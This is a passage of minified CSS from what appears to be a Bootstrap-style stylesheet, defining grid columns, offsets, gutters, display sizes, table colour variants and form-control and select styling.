(min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:calc(1.625rem + 4.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-1{font-size:5rem}}.display-2{font-size:calc(1.575rem + 3.9vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-2{font-size:4.5rem}}.display-3{font-size:calc(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-4{font-size:3.5rem}}.display-5{font-size:calc(1.425rem + 2.1vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-5{font-size:3rem}}.display-6{font-size:calc(1.375rem + 1.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-6{font-size:2.5rem}}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.blockquote-footer::before{content:"— "}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:var(--bs-body-bg);border:var(--bs-border-width) solid var(--bs-border-color);border-radius:var(--bs-border-radius);box-shadow:var(--bs-box-shadow-sm);max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:.875em;color:var(--bs-secondary-color)}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{--bs-gutter-x:1.5rem;--bs-gutter-y:0;width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}@media (min-width:1400px){.container,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{max-width:1320px}}:root{--bs-breakpoint-xs:0;--bs-breakpoint-sm:576px;--bs-breakpoint-md:768px;--bs-breakpoint-lg:992px;--bs-breakpoint-xl:1200px;--bs-breakpoint-xxl:1400px}.row{--bs-gutter-x:1.5rem;--bs-gutter-y:0;display:flex;flex-wrap:wrap;margin-top:calc(-1 * var(--bs-gutter-y));margin-right:calc(-.5 * var(--bs-gutter-x));margin-left:calc(-.5 * var(--bs-gutter-x))}.row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-top:var(--bs-gutter-y)}.col{flex:1 0 0%}.row-cols-auto>*{flex:0 0 auto;width:auto}.row-cols-1>*{flex:0 0 auto;width:100%}.row-cols-2>*{flex:0 0 auto;width:50%}.row-cols-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-4>*{flex:0 0 auto;width:25%}.row-cols-5>*{flex:0 0 auto;width:20%}.row-cols-6>*{flex:0 0 auto;width:16.66666667%}.col-auto{flex:0 0 auto;width:auto}.col-1{flex:0 0 auto;width:8.33333333%}.col-2{flex:0 0 auto;width:16.66666667%}.col-3{flex:0 0 auto;width:25%}.col-4{flex:0 0 auto;width:33.33333333%}.col-5{flex:0 0 auto;width:41.66666667%}.col-6{flex:0 0 auto;width:50%}.col-7{flex:0 0 auto;width:58.33333333%}.col-8{flex:0 0 auto;width:66.66666667%}.col-9{flex:0 0 auto;width:75%}.col-10{flex:0 0 auto;width:83.33333333%}.col-11{flex:0 0 auto;width:91.66666667%}.col-12{flex:0 0 auto;width:100%}.offset-1{margin-left:8.33333333%}.offset-2{margin-left:16.66666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333333%}.offset-5{margin-left:41.66666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333333%}.offset-8{margin-left:66.66666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333333%}.offset-11{margin-left:91.66666667%}.g-0,.gx-0{--bs-gutter-x:0}.g-0,.gy-0{--bs-gutter-y:0}.g-1,.gx-1{--bs-gutter-x:0.25rem}.g-1,.gy-1{--bs-gutter-y:0.25rem}.g-2,.gx-2{--bs-gutter-x:0.5rem}.g-2,.gy-2{--bs-gutter-y:0.5rem}.g-3,.gx-3{--bs-gutter-x:1rem}.g-3,.gy-3{--bs-gutter-y:1rem}.g-4,.gx-4{--bs-gutter-x:1.5rem}.g-4,.gy-4{--bs-gutter-y:1.5rem}.g-5,.gx-5{--bs-gutter-x:3rem}.g-5,.gy-5{--bs-gutter-y:3rem}@media (min-width:576px){.col-sm{flex:1 0 0%}.row-cols-sm-auto>*{flex:0 0 auto;width:auto}.row-cols-sm-1>*{flex:0 0 auto;width:100%}.row-cols-sm-2>*{flex:0 0 auto;width:50%}.row-cols-sm-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-sm-4>*{flex:0 0 auto;width:25%}.row-cols-sm-5>*{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.66666667%}.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:16.66666667%}.col-sm-3{flex:0 0 auto;width:25%}.col-sm-4{flex:0 0 auto;width:33.33333333%}.col-sm-5{flex:0 0 auto;width:41.66666667%}.col-sm-6{flex:0 0 auto;width:50%}.col-sm-7{flex:0 0 auto;width:58.33333333%}.col-sm-8{flex:0 0 auto;width:66.66666667%}.col-sm-9{flex:0 0 auto;width:75%}.col-sm-10{flex:0 0 auto;width:83.33333333%}.col-sm-11{flex:0 0 auto;width:91.66666667%}.col-sm-12{flex:0 0 auto;width:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333333%}.offset-sm-2{margin-left:16.66666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333333%}.offset-sm-5{margin-left:41.66666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333333%}.offset-sm-8{margin-left:66.66666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333333%}.offset-sm-11{margin-left:91.66666667%}.g-sm-0,.gx-sm-0{--bs-gutter-x:0}.g-sm-0,.gy-sm-0{--bs-gutter-y:0}.g-sm-1,.gx-sm-1{--bs-gutter-x:0.25rem}.g-sm-1,.gy-sm-1{--bs-gutter-y:0.25rem}.g-sm-2,.gx-sm-2{--bs-gutter-x:0.5rem}.g-sm-2,.gy-sm-2{--bs-gutter-y:0.5rem}.g-sm-3,.gx-sm-3{--bs-gutter-x:1rem}.g-sm-3,.gy-sm-3{--bs-gutter-y:1rem}.g-sm-4,.gx-sm-4{--bs-gutter-x:1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y:1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x:3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y:3rem}}@media (min-width:768px){.col-md{flex:1 0 0%}.row-cols-md-auto>*{flex:0 0 auto;width:auto}.row-cols-md-1>*{flex:0 0 auto;width:100%}.row-cols-md-2>*{flex:0 0 auto;width:50%}.row-cols-md-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-md-4>*{flex:0 0 auto;width:25%}.row-cols-md-5>*{flex:0 0 auto;width:20%}.row-cols-md-6>*{flex:0 0 auto;width:16.66666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.col-md-2{flex:0 0 auto;width:16.66666667%}.col-md-3{flex:0 0 auto;width:25%}.col-md-4{flex:0 0 auto;width:33.33333333%}.col-md-5{flex:0 0 auto;width:41.66666667%}.col-md-6{flex:0 0 auto;width:50%}.col-md-7{flex:0 0 auto;width:58.33333333%}.col-md-8{flex:0 0 auto;width:66.66666667%}.col-md-9{flex:0 0 auto;width:75%}.col-md-10{flex:0 0 auto;width:83.33333333%}.col-md-11{flex:0 0 auto;width:91.66666667%}.col-md-12{flex:0 0 auto;width:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333333%}.offset-md-2{margin-left:16.66666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333333%}.offset-md-5{margin-left:41.66666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333333%}.offset-md-8{margin-left:66.66666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333333%}.offset-md-11{margin-left:91.66666667%}.g-md-0,.gx-md-0{--bs-gutter-x:0}.g-md-0,.gy-md-0{--bs-gutter-y:0}.g-md-1,.gx-md-1{--bs-gutter-x:0.25rem}.g-md-1,.gy-md-1{--bs-gutter-y:0.25rem}.g-md-2,.gx-md-2{--bs-gutter-x:0.5rem}.g-md-2,.gy-md-2{--bs-gutter-y:0.5rem}.g-md-3,.gx-md-3{--bs-gutter-x:1rem}.g-md-3,.gy-md-3{--bs-gutter-y:1rem}.g-md-4,.gx-md-4{--bs-gutter-x:1.5rem}.g-md-4,.gy-md-4{--bs-gutter-y:1.5rem}.g-md-5,.gx-md-5{--bs-gutter-x:3rem}.g-md-5,.gy-md-5{--bs-gutter-y:3rem}}@media (min-width:992px){.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.66666667%}.col-lg-auto{flex:0 0 auto;width:auto}.col-lg-1{flex:0 0 auto;width:8.33333333%}.col-lg-2{flex:0 0 auto;width:16.66666667%}.col-lg-3{flex:0 0 auto;width:25%}.col-lg-4{flex:0 0 auto;width:33.33333333%}.col-lg-5{flex:0 0 auto;width:41.66666667%}.col-lg-6{flex:0 0 auto;width:50%}.col-lg-7{flex:0 0 auto;width:58.33333333%}.col-lg-8{flex:0 0 auto;width:66.66666667%}.col-lg-9{flex:0 0 auto;width:75%}.col-lg-10{flex:0 0 auto;width:83.33333333%}.col-lg-11{flex:0 0 auto;width:91.66666667%}.col-lg-12{flex:0 0 auto;width:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333333%}.offset-lg-2{margin-left:16.66666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333333%}.offset-lg-5{margin-left:41.66666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333333%}.offset-lg-8{margin-left:66.66666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333333%}.offset-lg-11{margin-left:91.66666667%}.g-lg-0,.gx-lg-0{--bs-gutter-x:0}.g-lg-0,.gy-lg-0{--bs-gutter-y:0}.g-lg-1,.gx-lg-1{--bs-gutter-x:0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y:0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x:0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y:0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x:1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y:1rem}.g-lg-4,.gx-lg-4{--bs-gutter-x:1.5rem}.g-lg-4,.gy-lg-4{--bs-gutter-y:1.5rem}.g-lg-5,.gx-lg-5{--bs-gutter-x:3rem}.g-lg-5,.gy-lg-5{--bs-gutter-y:3rem}}@media (min-width:1200px){.col-xl{flex:1 0 0%}.row-cols-xl-auto>*{flex:0 0 auto;width:auto}.row-cols-xl-1>*{flex:0 0 auto;width:100%}.row-cols-xl-2>*{flex:0 0 auto;width:50%}.row-cols-xl-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-xl-4>*{flex:0 0 auto;width:25%}.row-cols-xl-5>*{flex:0 0 auto;width:20%}.row-cols-xl-6>*{flex:0 0 auto;width:16.66666667%}.col-xl-auto{flex:0 0 auto;width:auto}.col-xl-1{flex:0 0 auto;width:8.33333333%}.col-xl-2{flex:0 0 auto;width:16.66666667%}.col-xl-3{flex:0 0 auto;width:25%}.col-xl-4{flex:0 0 auto;width:33.33333333%}.col-xl-5{flex:0 0 auto;width:41.66666667%}.col-xl-6{flex:0 0 auto;width:50%}.col-xl-7{flex:0 0 auto;width:58.33333333%}.col-xl-8{flex:0 0 auto;width:66.66666667%}.col-xl-9{flex:0 0 auto;width:75%}.col-xl-10{flex:0 0 auto;width:83.33333333%}.col-xl-11{flex:0 0 auto;width:91.66666667%}.col-xl-12{flex:0 0 auto;width:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.offset-xl-5{margin-left:41.66666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333333%}.offset-xl-8{margin-left:66.66666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333333%}.offset-xl-11{margin-left:91.66666667%}.g-xl-0,.gx-xl-0{--bs-gutter-x:0}.g-xl-0,.gy-xl-0{--bs-gutter-y:0}.g-xl-1,.gx-xl-1{--bs-gutter-x:0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y:0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x:0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y:0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x:1rem}.g-xl-3,.gy-xl-3{--bs-gutter-y:1rem}.g-xl-4,.gx-xl-4{--bs-gutter-x:1.5rem}.g-xl-4,.gy-xl-4{--bs-gutter-y:1.5rem}.g-xl-5,.gx-xl-5{--bs-gutter-x:3rem}.g-xl-5,.gy-xl-5{--bs-gutter-y:3rem}}@media (min-width:1400px){.col-xxl{flex:1 0 0%}.row-cols-xxl-auto>*{flex:0 0 auto;width:auto}.row-cols-xxl-1>*{flex:0 0 auto;width:100%}.row-cols-xxl-2>*{flex:0 0 auto;width:50%}.row-cols-xxl-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-xxl-4>*{flex:0 0 auto;width:25%}.row-cols-xxl-5>*{flex:0 0 auto;width:20%}.row-cols-xxl-6>*{flex:0 0 auto;width:16.66666667%}.col-xxl-auto{flex:0 0 auto;width:auto}.col-xxl-1{flex:0 0 auto;width:8.33333333%}.col-xxl-2{flex:0 0 auto;width:16.66666667%}.col-xxl-3{flex:0 0 auto;width:25%}.col-xxl-4{flex:0 0 auto;width:33.33333333%}.col-xxl-5{flex:0 0 auto;width:41.66666667%}.col-xxl-6{flex:0 0 auto;width:50%}.col-xxl-7{flex:0 0 auto;width:58.33333333%}.col-xxl-8{flex:0 0 auto;width:66.66666667%}.col-xxl-9{flex:0 0 auto;width:75%}.col-xxl-10{flex:0 0 auto;width:83.33333333%}.col-xxl-11{flex:0 0 auto;width:91.66666667%}.col-xxl-12{flex:0 0 auto;width:100%}.offset-xxl-0{margin-left:0}.offset-xxl-1{margin-left:8.33333333%}.offset-xxl-2{margin-left:16.66666667%}.offset-xxl-3{margin-left:25%}.offset-xxl-4{margin-left:33.33333333%}.offset-xxl-5{margin-left:41.66666667%}.offset-xxl-6{margin-left:50%}.offset-xxl-7{margin-left:58.33333333%}.offset-xxl-8{margin-left:66.66666667%}.offset-xxl-9{margin-left:75%}.offset-xxl-10{margin-left:83.33333333%}.offset-xxl-11{margin-left:91.66666667%}.g-xxl-0,.gx-xxl-0{--bs-gutter-x:0}.g-xxl-0,.gy-xxl-0{--bs-gutter-y:0}.g-xxl-1,.gx-xxl-1{--bs-gutter-x:0.25rem}.g-xxl-1,.gy-xxl-1{--bs-gutter-y:0.25rem}.g-xxl-2,.gx-xxl-2{--bs-gutter-x:0.5rem}.g-xxl-2,.gy-xxl-2{--bs-gutter-y:0.5rem}.g-xxl-3,.gx-xxl-3{--bs-gutter-x:1rem}.g-xxl-3,.gy-xxl-3{--bs-gutter-y:1rem}.g-xxl-4,.gx-xxl-4{--bs-gutter-x:1.5rem}.g-xxl-4,.gy-xxl-4{--bs-gutter-y:1.5rem}.g-xxl-5,.gx-xxl-5{--bs-gutter-x:3rem}.g-xxl-5,.gy-xxl-5{--bs-gutter-y:3rem}}.table{--bs-table-color-type:initial;--bs-table-bg-type:initial;--bs-table-color-state:initial;--bs-table-bg-state:initial;--bs-table-color:var(--bs-emphasis-color);--bs-table-bg:var(--bs-body-bg);--bs-table-border-color:var(--bs-border-color);--bs-table-accent-bg:transparent;--bs-table-striped-color:var(--bs-emphasis-color);--bs-table-striped-bg:rgba(var(--bs-emphasis-color-rgb), 0.05);--bs-table-active-color:var(--bs-emphasis-color);--bs-table-active-bg:rgba(var(--bs-emphasis-color-rgb), 0.1);--bs-table-hover-color:var(--bs-emphasis-color);--bs-table-hover-bg:rgba(var(--bs-emphasis-color-rgb), 0.075);width:100%;margin-bottom:1rem;vertical-align:top;border-color:var(--bs-table-border-color)}.table>:not(caption)>*>*{padding:1rem 1rem;color:var(--bs-table-color-state,var(--bs-table-color-type,var(--bs-table-color)));background-color:var(--bs-table-bg);border-bottom-width:var(--bs-border-width);box-shadow:inset 0 0 0 9999px var(--bs-table-bg-state,var(--bs-table-bg-type,var(--bs-table-accent-bg)))}.table>tbody{vertical-align:inherit}.table>thead{vertical-align:bottom}.table-group-divider{border-top:calc(var(--bs-border-width) * 2) solid currentcolor}.caption-top{caption-side:top}.table-sm>:not(caption)>*>*{padding:.5rem .5rem}.table-bordered>:not(caption)>*{border-width:var(--bs-border-width) 0}.table-bordered>:not(caption)>*>*{border-width:0 var(--bs-border-width)}.table-borderless>:not(caption)>*>*{border-bottom-width:0}.table-borderless>:not(:first-child){border-top-width:0}.table-striped>tbody>tr:nth-of-type(odd)>*{--bs-table-color-type:var(--bs-table-striped-color);--bs-table-bg-type:var(--bs-table-striped-bg)}.table-striped-columns>:not(caption)>tr>:nth-child(2n){--bs-table-color-type:var(--bs-table-striped-color);--bs-table-bg-type:var(--bs-table-striped-bg)}.table-active{--bs-table-color-state:var(--bs-table-active-color);--bs-table-bg-state:var(--bs-table-active-bg)}.table-hover>tbody>tr:hover>*{--bs-table-color-state:var(--bs-table-hover-color);--bs-table-bg-state:var(--bs-table-hover-bg)}.table-primary{--bs-table-color:#000;--bs-table-bg:#d6defa;--bs-table-border-color:#abb2c8;--bs-table-striped-bg:#cbd3ee;--bs-table-striped-color:#000;--bs-table-active-bg:#c1c8e1;--bs-table-active-color:#fff;--bs-table-hover-bg:#c6cde7;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-secondary{--bs-table-color:#000;--bs-table-bg:white;--bs-table-border-color:#cccccc;--bs-table-striped-bg:#f2f2f2;--bs-table-striped-color:#000;--bs-table-active-bg:#e6e6e6;--bs-table-active-color:#000;--bs-table-hover-bg:#ececec;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-success{--bs-table-color:#000;--bs-table-bg:#d5f0e6;--bs-table-border-color:#aac0b8;--bs-table-striped-bg:#cae4db;--bs-table-striped-color:#000;--bs-table-active-bg:#c0d8cf;--bs-table-active-color:#000;--bs-table-hover-bg:#c5ded5;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-info{--bs-table-color:#000;--bs-table-bg:#d4e5f0;--bs-table-border-color:#aab7c0;--bs-table-striped-bg:#c9dae4;--bs-table-striped-color:#000;--bs-table-active-bg:#bfced8;--bs-table-active-color:#000;--bs-table-hover-bg:#c4d4de;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-warning{--bs-table-color:#000;--bs-table-bg:#fdf2df;--bs-table-border-color:#cac2b2;--bs-table-striped-bg:#f0e6d4;--bs-table-striped-color:#000;--bs-table-active-bg:#e4dac9;--bs-table-active-color:#000;--bs-table-hover-bg:#eae0ce;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-danger{--bs-table-color:#000;--bs-table-bg:#f8d4d5;--bs-table-border-color:#c6aaaa;--bs-table-striped-bg:#ecc9ca;--bs-table-striped-color:#000;--bs-table-active-bg:#dfbfc0;--bs-table-active-color:#fff;--bs-table-hover-bg:#e5c4c5;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-light{--bs-table-color:#000;--bs-table-bg:#f8f9fa;--bs-table-border-color:#c6c7c8;--bs-table-striped-bg:#ecedee;--bs-table-striped-color:#000;--bs-table-active-bg:#dfe0e1;--bs-table-active-color:#000;--bs-table-hover-bg:#e5e6e7;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-dark{--bs-table-color:#fff;--bs-table-bg:#212529;--bs-table-border-color:#4d5154;--bs-table-striped-bg:#2c3034;--bs-table-striped-color:#fff;--bs-table-active-bg:#373b3e;--bs-table-active-color:#fff;--bs-table-hover-bg:#323539;--bs-table-hover-color:#fff;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-responsive{overflow-x:auto;-webkit-overflow-scrolling:touch}@media (max-width:575.98px){.table-responsive-sm{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:767.98px){.table-responsive-md{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:991.98px){.table-responsive-lg{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1199.98px){.table-responsive-xl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1399.98px){.table-responsive-xxl{overflow-x:auto;-webkit-overflow-scrolling:touch}}.form-label{margin-bottom:.5rem;font-weight:500}.col-form-label{padding-top:calc(.5rem + var(--bs-border-width));padding-bottom:calc(.5rem + var(--bs-border-width));margin-bottom:0;font-size:inherit;font-weight:500;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + var(--bs-border-width));padding-bottom:calc(.5rem + var(--bs-border-width));font-size:1.25rem}.col-form-label-sm{padding-top:calc(.25rem + var(--bs-border-width));padding-bottom:calc(.25rem + var(--bs-border-width));font-size:.875rem}.form-text{margin-top:.25rem;font-size:.875em;color:var(--bs-secondary-color)}.form-control{display:block;width:100%;padding:.5rem 1rem;font-size:.875rem;font-weight:400;line-height:1.5;color:var(--bs-body-color);-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:var(--bs-body-bg);background-clip:padding-box;border:var(--bs-border-width) solid var(--bs-border-color);border-radius:var(--bs-border-radius);box-shadow:0 1px 2px rgba(0,0,0,.05);transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control[type=file]{overflow:hidden}.form-control[type=file]:not(:disabled):not([readonly]){cursor:pointer}.form-control:focus{color:var(--bs-body-color);background-color:var(--bs-body-bg);border-color:#9aacf3;outline:0;box-shadow:0 1px 2px rgba(0,0,0,.05),0 0 0 .25rem rgba(52,89,230,.25)}.form-control::-webkit-date-and-time-value{min-width:85px;height:1.5em;margin:0}.form-control::-webkit-datetime-edit{display:block;padding:0}.form-control::-moz-placeholder{color:var(--bs-secondary-color);opacity:1}.form-control::placeholder{color:var(--bs-secondary-color);opacity:1}.form-control:disabled{background-color:var(--bs-secondary-bg);opacity:1}.form-control::-webkit-file-upload-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem;color:var(--bs-body-color);background-color:var(--bs-tertiary-bg);pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:var(--bs-border-width);border-radius:0;-webkit-transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}.form-control::file-selector-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem;color:var(--bs-body-color);background-color:var(--bs-tertiary-bg);pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:var(--bs-border-width);border-radius:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control::-webkit-file-upload-button{-webkit-transition:none;transition:none}.form-control::file-selector-button{transition:none}}.form-control:hover:not(:disabled):not([readonly])::-webkit-file-upload-button{background-color:var(--bs-secondary-bg)}.form-control:hover:not(:disabled):not([readonly])::file-selector-button{background-color:var(--bs-secondary-bg)}.form-control-plaintext{display:block;width:100%;padding:.5rem 0;margin-bottom:0;line-height:1.5;color:var(--bs-body-color);background-color:transparent;border:solid transparent;border-width:var(--bs-border-width) 0}.form-control-plaintext:focus{outline:0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{min-height:calc(1.5em + .5rem + calc(var(--bs-border-width) * 2));padding:.25rem .5rem;font-size:.875rem;border-radius:var(--bs-border-radius-sm)}.form-control-sm::-webkit-file-upload-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-sm::file-selector-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-lg{min-height:calc(1.5em + 1rem + calc(var(--bs-border-width) * 2));padding:.5rem 1rem;font-size:1.25rem;border-radius:var(--bs-border-radius-lg)}.form-control-lg::-webkit-file-upload-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}.form-control-lg::file-selector-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}textarea.form-control{min-height:calc(1.5em + 1rem + calc(var(--bs-border-width) * 2))}textarea.form-control-sm{min-height:calc(1.5em + .5rem + calc(var(--bs-border-width) * 2))}textarea.form-control-lg{min-height:calc(1.5em + 1rem + calc(var(--bs-border-width) * 2))}.form-control-color{width:3rem;height:calc(1.5em + 1rem + calc(var(--bs-border-width) * 2));padding:.5rem}.form-control-color:not(:disabled):not([readonly]){cursor:pointer}.form-control-color::-moz-color-swatch{border:0!important;border-radius:var(--bs-border-radius)}.form-control-color::-webkit-color-swatch{border:0!important;border-radius:var(--bs-border-radius)}.form-control-color.form-control-sm{height:calc(1.5em + .5rem + calc(var(--bs-border-width) * 2))}.form-control-color.form-control-lg{height:calc(1.5em + 1rem + calc(var(--bs-border-width) * 2))}.form-select{--bs-form-select-bg-img:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e");display:block;width:100%;padding:.5rem 3rem .5rem 1rem;font-size:.875rem;font-weight:400;line-height:1.5;color:var(--bs-body-color);-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:var(--bs-body-bg);background-image:var(--bs-form-select-bg-img),var(--bs-form-select-bg-icon,none);background-repeat:no-repeat;background-position:right 1rem center;background-size:16px 12px;border:var(--bs-border-width) solid var(--bs-border-color);border-radius:var(--bs-border-radius);box-shadow:var(--bs-box-shadow-inset);transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-select{transition:none}}.form-select:focus{border-color:#9aacf3;outline:0;box-shadow:var(--bs-box-shadow-inset),0 0 0 .25rem rgba(52,89,230,.25)}.form-select[multiple],.form-select[size]:not([size="1"]){padding-right:1rem;background-image:none}.form-select:disabled{background-color:var(--bs-secondary-bg)}.form-select:-moz-focusring{color:transparent;text-shadow:0 0 0 var(--bs-body-color)}.form-select-sm{padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem;border-radius:var(--bs-border-radius-sm)}.form-select-lg{padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem;border-radius:var(--bs-border-radius-lg)}[data-bs-theme=dark] .form-select{--bs-form-select-bg-img:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23dee2e6' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e")}.form-check{display:block;min-height:1.5rem;padding-left:1.5em;margin-bottom:.125rem}.form-check .form-check-input{float:left;margin-left:-1.5em}.form-check-reverse{padding-right:1.5em;padding-left:0;text-align:right}.form-check-reverse 